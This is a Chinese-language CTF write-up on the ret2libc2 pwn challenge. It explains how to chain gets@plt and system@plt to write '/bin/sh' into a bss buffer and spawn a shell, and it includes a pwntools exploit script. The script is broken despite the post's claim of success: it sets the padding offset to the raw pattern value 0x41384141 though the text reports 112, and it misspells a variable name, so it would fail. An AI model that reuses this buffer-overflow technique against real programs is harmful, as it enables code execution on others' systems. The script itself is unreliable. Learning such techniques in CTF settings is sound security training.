【PWN · ret2libc】ret2libc2

ret2libc1的略微进阶——存在system@plt但是不存在“/bin/sh”怎么办？

---

目录

前言

python3 ELF 查看文件信息

strings 查看寻找"/bin/sh"

IDA反汇编分析 

思路及实现 

老规矩，偏移量 offset

EXP编写  

总结

---

前言

经过ret2libc1的洗礼，我们对ret2libc的做题模范有了基本的范式，然而实际的题目远没有如此直白和简单。本题就遇到了一个问题："/bin/sh"字符串在程序中并不存在，怎么办？

其实很简单：没有我们就自己输入。

---

因为具体的原理在ret2libc1中已经很详细地讲述了，所以本篇博客主要复现解题过程。

python3 ELF 查看文件信息

好的，重要的信息都有了 

---

strings 查看寻找"/bin/sh"

说明没有这个字符串，恼 

那我们能不能输入一串字符串"/bin/sh"，然后把参数地址放到这里呢？

---

IDA反汇编分析 

bss段发现buf2，可供我们存字符串。可是也没有输入的函数呀？没关系——shellcode里面加就可以。

别忘了，plt表里面有gets@plt！我们既然可以用一种方法，通过system@plt执行system函数，为什么不可以用gets@plt执行gets函数呢？当然可以！！ 

---

思路及实现 

根据基本ret2libc的思想，我们把溢出栈内容如下构造：

这是需要跳转执行两个函数的情况，基于跳转执行一个函数的情况而来，具体可以看上一篇博客ret2libc1 

简单来说，padding后，函数通过返回地址跳到gets@plt然后经过一系列代码，执行gets函数，gets函数的参数从栈gets_addr的后两个单位找到。这个原理很基础，不赘述。具体看上一篇博客。然后同理跳到system@plt执行system，参数向上找第二个（跨过两个单位，其中一个是callee 的push ebp）， 也是buf2_addr。

这样就实现了：没有"/bin/sh"，输入就有了；照旧system，参数填"/bin/sh"地址；返回shell

---

老规矩，偏移量 offset

gdb：peda下，pattern create 300 

然后pattern offset addr 

 

 偏移量112

---

EXP编写  

from pwn import *

io=process("./ret2libc2")

offset=0x41384141
system_plt_Addr=0x8048490
gets_plt_addr=0x8048460
buf2_addr=0x804a080

payload=b'a'*offset+p32(gets_plt_addr)+p32(system_plt_addr)+p32(buf2_addr)+p32(buf2_addr)

io.sendline(payload)
io.sendline('/bin/sh')
io.interactive()

成功获得自己的shell 

---

总结

从最基本理解原理的ret2libc1，到有点花头的ret2libc2，值得展望的是，比赛的题目，远远难于此。但千里之行始于足下，掌握好这些基础的，掌握好这些原理，才能慢慢深入进阶。